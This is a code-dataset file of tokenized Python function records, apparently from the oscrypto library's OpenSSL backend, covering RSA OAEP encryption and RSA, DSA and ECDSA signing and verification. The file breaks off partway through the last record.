{"signature": "def rsa_oaep_encrypt(certificate_or_public_key, data):", "body": "return _encrypt(certificate_or_public_key, data, LibcryptoConst.RSA_PKCS1_OAEP_PADDING)<EOL>", "docstring": "Encrypts a byte string using an RSA public key or certificate. Uses PKCS#1\nOAEP padding with SHA1.\n\n:param certificate_or_public_key:\n    A PublicKey or Certificate object\n\n:param data:\n    A byte string, with a maximum length 41 bytes (or more) less than the\n    key length (in bytes)\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the encrypted data", "id": "f9533:m10"}
{"signature": "def rsa_oaep_decrypt(private_key, ciphertext):", "body": "return _decrypt(private_key, ciphertext, LibcryptoConst.RSA_PKCS1_OAEP_PADDING)<EOL>", "docstring": "Decrypts a byte string using an RSA private key. Uses PKCS#1 OAEP padding\nwith SHA1.\n\n:param private_key:\n    A PrivateKey object\n\n:param ciphertext:\n    A byte string of the encrypted data\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the original plaintext", "id": "f9533:m11"}
{"signature": "def _encrypt(certificate_or_public_key, data, padding):", "body": "if not isinstance(certificate_or_public_key, (Certificate, PublicKey)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>rsa = None<EOL>try:<EOL><INDENT>buffer_size = libcrypto.EVP_PKEY_size(certificate_or_public_key.evp_pkey)<EOL>buffer = buffer_from_bytes(buffer_size)<EOL>rsa = libcrypto.EVP_PKEY_get1_RSA(certificate_or_public_key.evp_pkey)<EOL>res = libcrypto.RSA_public_encrypt(len(data), data, buffer, rsa, padding)<EOL>handle_openssl_error(res)<EOL>return bytes_from_buffer(buffer, res)<EOL><DEDENT>finally:<EOL><INDENT>if rsa:<EOL><INDENT>libcrypto.RSA_free(rsa)<EOL><DEDENT><DEDENT>", "docstring": "Encrypts plaintext using an RSA public key or certificate\n\n:param certificate_or_public_key:\n    A PublicKey, Certificate or PrivateKey object\n\n:param data:\n    The byte string to encrypt\n\n:param padding:\n    The padding mode to use\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the encrypted data", "id": "f9533:m12"}
{"signature": "def _decrypt(private_key, ciphertext, padding):", "body": "if not isinstance(private_key, PrivateKey):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if not isinstance(ciphertext, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(ciphertext)<EOL>))<EOL><DEDENT>rsa = None<EOL>try:<EOL><INDENT>buffer_size = libcrypto.EVP_PKEY_size(private_key.evp_pkey)<EOL>buffer = buffer_from_bytes(buffer_size)<EOL>rsa = libcrypto.EVP_PKEY_get1_RSA(private_key.evp_pkey)<EOL>res = libcrypto.RSA_private_decrypt(len(ciphertext), ciphertext, buffer, rsa, padding)<EOL>handle_openssl_error(res)<EOL>return bytes_from_buffer(buffer, res)<EOL><DEDENT>finally:<EOL><INDENT>if rsa:<EOL><INDENT>libcrypto.RSA_free(rsa)<EOL><DEDENT><DEDENT>", "docstring": "Decrypts RSA ciphertext using a private key\n\n:param private_key:\n    A PrivateKey object\n\n:param ciphertext:\n    The ciphertext - a byte string\n\n:param padding:\n    The padding mode to use\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9533:m13"}
{"signature": "def rsa_pkcs1v15_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.algorithm.upper()<EOL>))<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies an RSASSA-PKCS-v1.5 signature.\n\nWhen the hash_algorithm is \"raw\", the operation is identical to RSA\npublic key decryption. That is: the data is not hashed and no ASN.1\nstructure with an algorithm identifier of the hash algorithm is placed in\nthe encrypted byte string.\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\",\n    \"sha512\" or \"raw\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9533:m14"}
{"signature": "def rsa_pss_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.algorithm.upper()<EOL>))<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm, rsa_pss_padding=True)<EOL>", "docstring": "Verifies an RSASSA-PSS signature. For the PSS padding the mask gen algorithm\nwill be mgf1 using the same hash algorithm as the signature. The salt length\nwith be the length of the hash algorithm, and the trailer field with be the\nstandard 0xBC byte.\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9533:m15"}
{"signature": "def dsa_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.algorithm.upper()<EOL>))<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies a DSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9533:m16"}
{"signature": "def ecdsa_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.algorithm.upper()<EOL>))<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies an ECDSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9533:m17"}
{"signature": "def _verify(certificate_or_public_key, signature, data, hash_algorithm, rsa_pss_padding=False):", "body": "if not isinstance(certificate_or_public_key, (Certificate, PublicKey)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>if not isinstance(signature, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(signature)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>valid_hash_algorithms = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if certificate_or_public_key.algorithm == '<STR_LIT>' and not rsa_pss_padding:<EOL><INDENT>valid_hash_algorithms |= set(['<STR_LIT>'])<EOL><DEDENT>if hash_algorithm not in valid_hash_algorithms:<EOL><INDENT>valid_hash_algorithms_error = '<STR_LIT>'<EOL>if certificate_or_public_key.algorithm == '<STR_LIT>' and not rsa_pss_padding:<EOL><INDENT>valid_hash_algorithms_error += '<STR_LIT>'<EOL><DEDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>valid_hash_algorithms_error,<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if certificate_or_public_key.algorithm != '<STR_LIT>' and rsa_pss_padding:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.algorithm.upper()<EOL>))<EOL><DEDENT>if certificate_or_public_key.algorithm == '<STR_LIT>' and hash_algorithm == '<STR_LIT>':<EOL><INDENT>if len(data) > certificate_or_public_key.byte_size - <NUM_LIT:11>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.byte_size,<EOL>len(data)<EOL>))<EOL><DEDENT>rsa = None<EOL>try:<EOL><INDENT>rsa = libcrypto.EVP_PKEY_get1_RSA(certificate_or_public_key.evp_pkey)<EOL>if is_null(rsa):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>buffer_size = libcrypto.EVP_PKEY_size(certificate_or_public_key.evp_pkey)<EOL>decrypted_buffer = buffer_from_bytes(buffer_size)<EOL>decrypted_length = libcrypto.RSA_public_decrypt(<EOL>len(signature),<EOL>signature,<EOL>decrypted_buffer,<EOL>rsa,<EOL>LibcryptoConst.RSA_PKCS1_PADDING<EOL>)<EOL>handle_openssl_error(decrypted_length)<EOL>decrypted_bytes = bytes_from_buffer(decrypted_buffer, decrypted_length)<EOL>if not constant_compare(data, decrypted_bytes):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>return<EOL><DEDENT>finally:<EOL><INDENT>if rsa:<EOL><INDENT>libcrypto.RSA_free(rsa)<EOL><DEDENT><DEDENT><DEDENT>evp_md_ctx = None<EOL>rsa = None<EOL>dsa = None<EOL>dsa_sig = None<EOL>ec_key = None<EOL>ecdsa_sig = None<EOL>try:<EOL><INDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>evp_md_ctx = libcrypto.EVP_MD_CTX_create()<EOL><DEDENT>else:<EOL><INDENT>evp_md_ctx = libcrypto.EVP_MD_CTX_new()<EOL><DEDENT>evp_md = {<EOL>'<STR_LIT>': libcrypto.EVP_md5,<EOL>'<STR_LIT>': libcrypto.EVP_sha1,<EOL>'<STR_LIT>': libcrypto.EVP_sha224,<EOL>'<STR_LIT>': libcrypto.EVP_sha256,<EOL>'<STR_LIT>': libcrypto.EVP_sha384,<EOL>'<STR_LIT>': libcrypto.EVP_sha512<EOL>}[hash_algorithm]()<EOL>if libcrypto_version_info < (<NUM_LIT:1>,):<EOL><INDENT>if certificate_or_public_key.algorithm == '<STR_LIT>' and rsa_pss_padding:<EOL><INDENT>digest = getattr(hashlib, hash_algorithm)(data).digest()<EOL>rsa = libcrypto.EVP_PKEY_get1_RSA(certificate_or_public_key.evp_pkey)<EOL>if is_null(rsa):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>buffer_size = libcrypto.EVP_PKEY_size(certificate_or_public_key.evp_pkey)<EOL>decoded_buffer = buffer_from_bytes(buffer_size)<EOL>decoded_length = libcrypto.RSA_public_decrypt(<EOL>len(signature),<EOL>signature,<EOL>decoded_buffer,<EOL>rsa,<EOL>LibcryptoConst.RSA_NO_PADDING<EOL>)<EOL>handle_openssl_error(decoded_length)<EOL>res = libcrypto.RSA_verify_PKCS1_PSS(<EOL>rsa,<EOL>digest,<EOL>evp_md,<EOL>decoded_buffer,<EOL>LibcryptoConst.EVP_MD_CTX_FLAG_PSS_MDLEN<EOL>)<EOL><DEDENT>elif certificate_or_public_key.algorithm == '<STR_LIT>':<EOL><INDENT>res = libcrypto.EVP_DigestInit_ex(evp_md_ctx, evp_md, null())<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_DigestUpdate(evp_md_ctx, data, len(data))<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_VerifyFinal(<EOL>evp_md_ctx,<EOL>signature,<EOL>len(signature),<EOL>certificate_or_public_key.evp_pkey<EOL>)<EOL><DEDENT>elif certificate_or_public_key.algorithm == '<STR_LIT>':<EOL><INDENT>digest = getattr(hashlib, hash_algorithm)(data).digest()<EOL>signature_buffer = buffer_from_bytes(signature)<EOL>signature_pointer = buffer_pointer(signature_buffer)<EOL>dsa_sig = libcrypto.d2i_DSA_SIG(null(), signature_pointer, len(signature))<EOL>if is_null(dsa_sig):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>dsa = libcrypto.EVP_PKEY_get1_DSA(certificate_or_public_key.evp_pkey)<EOL>if is_null(dsa):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>res = libcrypto.DSA_do_verify(digest, len(digest), dsa_sig, dsa)<EOL><DEDENT>elif certificate_or_public_key.algorithm == '<STR_LIT>':<EOL><INDENT>digest = getattr(hashlib, hash_algorithm)(data).digest()<EOL>signature_buffer = buffer_from_bytes(signature)<EOL>signature_pointer = buffer_pointer(signature_buffer)<EOL>ecdsa_sig = libcrypto.d2i_ECDSA_SIG(null(), signature_pointer, len(signature))<EOL>if is_null(ecdsa_sig):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>ec_key = libcrypto.EVP_PKEY_get1_EC_KEY(certificate_or_public_key.evp_pkey)<EOL>if is_null(ec_key):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>res = libcrypto.ECDSA_do_verify(digest, len(digest), ecdsa_sig, ec_key)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>evp_pkey_ctx_pointer_pointer = new(libcrypto, '<STR_LIT>')<EOL>res = libcrypto.EVP_DigestVerifyInit(<EOL>evp_md_ctx,<EOL>evp_pkey_ctx_pointer_pointer,<EOL>evp_md,<EOL>null(),<EOL>certificate_or_public_key.evp_pkey<EOL>)<EOL>handle_openssl_error(res)<EOL>evp_pkey_ctx_pointer = unwrap(evp_pkey_ctx_pointer_pointer)<EOL>if rsa_pss_padding:<EOL><INDENT>res = libcrypto.EVP_PKEY_CTX_ctrl(<EOL>evp_pkey_ctx_pointer,<EOL>LibcryptoConst.EVP_PKEY_RSA,<EOL>-<NUM_LIT:1>,  <EOL>LibcryptoConst.EVP_PKEY_CTRL_RSA_PADDING,<EOL>LibcryptoConst.RSA_PKCS1_PSS_PADDING,<EOL>null()<EOL>)<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_PKEY_CTX_ctrl(<EOL>evp_pkey_ctx_pointer,<EOL>LibcryptoConst.EVP_PKEY_RSA,<EOL>LibcryptoConst.EVP_PKEY_OP_SIGN | LibcryptoConst.EVP_PKEY_OP_VERIFY,<EOL>LibcryptoConst.EVP_PKEY_CTRL_RSA_PSS_SALTLEN,<EOL>-<NUM_LIT:1>,<EOL>null()<EOL>)<EOL>handle_openssl_error(res)<EOL><DEDENT>res = libcrypto.EVP_DigestUpdate(evp_md_ctx, data, len(data))<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_DigestVerifyFinal(evp_md_ctx, signature, len(signature))<EOL><DEDENT>if res < <NUM_LIT:1>:<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>handle_openssl_error(res)<EOL><DEDENT>finally:<EOL><INDENT>if evp_md_ctx:<EOL><INDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>libcrypto.EVP_MD_CTX_destroy(evp_md_ctx)<EOL><DEDENT>else:<EOL><INDENT>libcrypto.EVP_MD_CTX_free(evp_md_ctx)<EOL><DEDENT><DEDENT>if rsa:<EOL><INDENT>libcrypto.RSA_free(rsa)<EOL><DEDENT>if dsa:<EOL><INDENT>libcrypto.DSA_free(dsa)<EOL><DEDENT>if dsa_sig:<EOL><INDENT>libcrypto.DSA_SIG_free(dsa_sig)<EOL><DEDENT>if ec_key:<EOL><INDENT>libcrypto.EC_KEY_free(ec_key)<EOL><DEDENT>if ecdsa_sig:<EOL><INDENT>libcrypto.ECDSA_SIG_free(ecdsa_sig)<EOL><DEDENT><DEDENT>", "docstring": "Verifies an RSA, DSA or ECDSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:param rsa_pss_padding:\n    If the certificate_or_public_key is an RSA key, this enables PSS padding\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9533:m18"}
{"signature": "def rsa_pkcs1v15_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.algorithm.upper()<EOL>))<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates an RSASSA-PKCS-v1.5 signature.\n\nWhen the hash_algorithm is \"raw\", the operation is identical to RSA\nprivate key encryption. That is: the data is not hashed and no ASN.1\nstructure with an algorithm identifier of the hash algorithm is placed in\nthe encrypted byte string.\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\",\n    \"sha512\" or \"raw\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9533:m19"}
{"signature": "def rsa_pss_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.algorithm.upper()<EOL>))<EOL><DEDENT>return _sign(private_key, data, hash_algorithm, rsa_pss_padding=True)<EOL>", "docstring": "Generates an RSASSA-PSS signature. For the PSS padding the mask gen\nalgorithm will be mgf1 using the same hash algorithm as the signature. The\nsalt length with be the length of the hash algorithm, and the trailer field\nwith be the standard 0xBC byte.\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9533:m20"}
{"signature": "def dsa_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.algorithm.upper()<EOL>))<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates a DSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9533:m21"}
{"signature": "def ecdsa_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.algorithm.upper()<EOL>))<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates an ECDSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9533:m22"}
{"signature": "def _sign(private_key, data, hash_algorithm, rsa_pss_padding=False):", "body": "if not isinstance(private_key, PrivateKey):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>valid_hash_algorithms = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if private_key.algorithm == '<STR_LIT>' and not rsa_pss_padding:<EOL><INDENT>valid_hash_algorithms |= set(['<STR_LIT>'])<EOL><DEDENT>if hash_algorithm not in valid_hash_algorithms:<EOL><INDENT>valid_hash_algorithms_error = '<STR_LIT>'<EOL>if private_key.algorithm == '<STR_LIT>' and not rsa_pss_padding:<EOL><INDENT>valid_hash_algorithms_error += '<STR_LIT>'<EOL><DEDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>valid_hash_algorithms_error,<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if private_key.algorithm != '<STR_LIT>' and rsa_pss_padding:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.algorithm.upper()<EOL>))<EOL><DEDENT>if private_key.algorithm == '<STR_LIT>' and hash_algorithm == '<STR_LIT>':<EOL><INDENT>if len(data) > private_key.byte_size - <NUM_LIT:11>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.byte_size,<EOL>len(data)<EOL>))<EOL><DEDENT>rsa = None<EOL>try:<EOL><INDENT>rsa = libcrypto.EVP_PKEY_get1_RSA(private_key.evp_pkey)<EOL>if is_null(rsa):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>buffer_size = libcrypto.EVP_PKEY_size(private_key.evp_pkey)<EOL>signature_buffer = buffer_from_bytes(buffer_size)<EOL>signature_length = libcrypto.RSA_private_encrypt(<EOL>len(data),<EOL>data,<EOL>signature_buffer,<EOL>rsa,<EOL>LibcryptoConst.RSA_PKCS1_PADDING<EOL>)<EOL>handle_openssl_error(signature_length)<EOL>return bytes_from_buffer(signature_buffer, signature_length)<EOL><DEDENT>finally:<EOL><INDENT>if rsa:<EOL><INDENT>libcrypto.RSA_free(rsa)<EOL><DEDENT><DEDENT><DEDENT>evp_md_ctx = None<EOL>rsa = None<EOL>dsa = None<EOL>dsa_sig = None<EOL>ec_key = None<EOL>ecdsa_sig = None<EOL>try:<EOL><INDENT>if libcrypto_version_info < (<NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>evp_md_ctx = libcrypto.EVP_MD_CTX_create()<EOL><DEDENT>else:<EOL><INDENT>evp_md_ctx = libcrypto.EVP_MD_CTX_new()<EOL><DEDENT>evp_md = {<EOL>'<STR_LIT>': libcrypto.EVP_md5,<EOL>'<STR_LIT>': libcrypto.EVP_sha1,<EOL>'<STR_LIT>': libcrypto.EVP_sha224,<EOL>'<STR_LIT>': libcrypto.EVP_sha256,<EOL>'<STR_LIT>': libcrypto.EVP_sha384,<EOL>'<STR_LIT>': libcrypto.EVP_sha512<EOL>}[hash_algorithm]()<EOL>if libcrypto_version_info < (<NUM_LIT:1>,):<EOL><INDENT>if private_key.algorithm == '<STR_LIT>' and rsa_pss_padding:<EOL><INDENT>digest = getattr(hashlib, hash_algorithm)(data).digest()<EOL>rsa = libcrypto.EVP_PKEY_get1_RSA(private_key.evp_pkey)<EOL>if is_null(rsa):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>buffer_size = libcrypto.EVP_PKEY_size(private_key.evp_pkey)<EOL>em_buffer = buffer_from_bytes(buffer_size)<EOL>res = libcrypto.RSA_padding_add_PKCS1_PSS(<EOL>rsa,<EOL>em_buffer,<EOL>digest,<EOL>evp_md,<EOL>LibcryptoConst.EVP_MD_CTX_FLAG_PSS_MDLEN<EOL>)<EOL>handle_openssl_error(res)<EOL>signature_buffer = buffer_from_bytes(buffer_size)<EOL>signature_length = libcrypto.RSA_private_encrypt(<EOL>buffer_size,<EOL>em_buffer,<EOL>signature_buffer,<EOL>rsa,<EOL>LibcryptoConst.RSA_NO_PADDING<EOL>)<EOL>handle_openssl_error(signature_length)<EOL><DEDENT>elif private_key.algorithm == '<STR_LIT>':<EOL><INDENT>buffer_size = libcrypto.EVP_PKEY_size(private_key.evp_pkey)<EOL>signature_buffer = buffer_from_bytes(buffer_size)<EOL>signature_length = new(libcrypto, '<STR_LIT>')<EOL>res = libcrypto.EVP_DigestInit_ex(evp_md_ctx, evp_md, null())<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_DigestUpdate(evp_md_ctx, data, len(data))<EOL>handle_openssl_error(res)<EOL>res = libcrypto.EVP_SignFinal(<EOL>evp_md_ctx,<EOL>signature_buffer,<EOL>signature_length,<EOL>private_key.evp_pkey<EOL>)<EOL>handle_openssl_error(res)<EOL>signature_length = deref(signature_length)<EOL><DEDENT>elif private_key.algorithm == '<STR_LIT>':<EOL><INDENT>digest = getattr(hashlib, hash_algorithm)(data).digest()<EOL>dsa = libcrypto.EVP_PKEY_get1_DSA(private_key.evp_pkey)<EOL>if is_null(dsa):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>dsa_sig = libcrypto.DSA_do_sign(digest, len(digest), dsa)<EOL>if is_null(dsa_sig):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>buffer_size = libcrypto.i2d_DSA_SIG(dsa_sig, null())<EOL>signature_buffer = buffer_from_bytes(buffer_size)<EOL>signature_pointer = buffer_pointer(signature_buffer)<EOL>signature_length = libcrypto.i2d_DSA_SIG(dsa_sig, signature_pointer)<EOL>handle_openssl_error(signature_length)<EOL><DEDENT>elif private_key.algorithm == '<STR_LIT>':<EOL><INDENT>digest = getattr(hashlib, hash_algorithm)(data).digest()<EOL>ec_key = libcrypto.EVP_PKEY_get1_EC_KEY(private_key.evp_pkey)<EOL>if is_null(ec_key):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>ecdsa_sig = libcrypto.ECDSA_do_sign(digest, len(digest), ec_key)<EOL>if is_null(ecdsa_sig):<EOL><INDENT>handle_openssl_error(<NUM_LIT:0>)<EOL><DEDENT>buffer_size = libcrypto.i2d_ECDSA_SIG(ecdsa_sig, null())<EOL>signature_buffer = buffer_from_bytes(buffer_size)<EOL>signature_pointer = buffer_pointer(signature_buffer)<EOL>signature_length = libcrypto.i2d_ECDSA_SIG(ecdsa_sig, signature_pointer)<EOL>handle_openssl_error(signature_length)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>buffer_size = libcrypto.EVP_PKEY_size(private_key.evp_pkey)<EOL>signature_buffer = buffer_from_bytes(buffer_size)<EOL>signature_length = new(libcrypto, '<STR_LIT>', buffer_size)<EOL>evp_pkey_ctx_pointer_pointer = new(libcrypto, '<STR_LIT>')<EOL>res = libcrypto.EVP_DigestSignInit(<EOL>evp_md_ctx,<EOL>evp_pkey_ctx_pointer_pointer,<EOL>evp_md,<EOL>null(),<EOL>private_key.evp_pkey<EOL>)<EOL>handle_openssl_error(res)<EOL>evp_pkey_ctx_pointer = unwrap(evp_pkey_ctx_pointer_pointer)<EOL>if rsa_pss_padding:<EOL><INDENT>res = libcrypto.EVP_PKEY_CTX_ctrl(<EOL>evp_pkey_ctx_pointer,<EOL>LibcryptoConst.EVP_PKEY_RSA,<EOL>-<NUM_LIT:1>,  <EOL>LibcryptoConst.EVP_PKEY_CTRL_RSA_PADDING,<EOL>LibcryptoConst.RSA_PKCS1_PSS_PADDING,<EOL>null()<EOL>)<EOL>handle_openssl_error(res)<EOL>res = 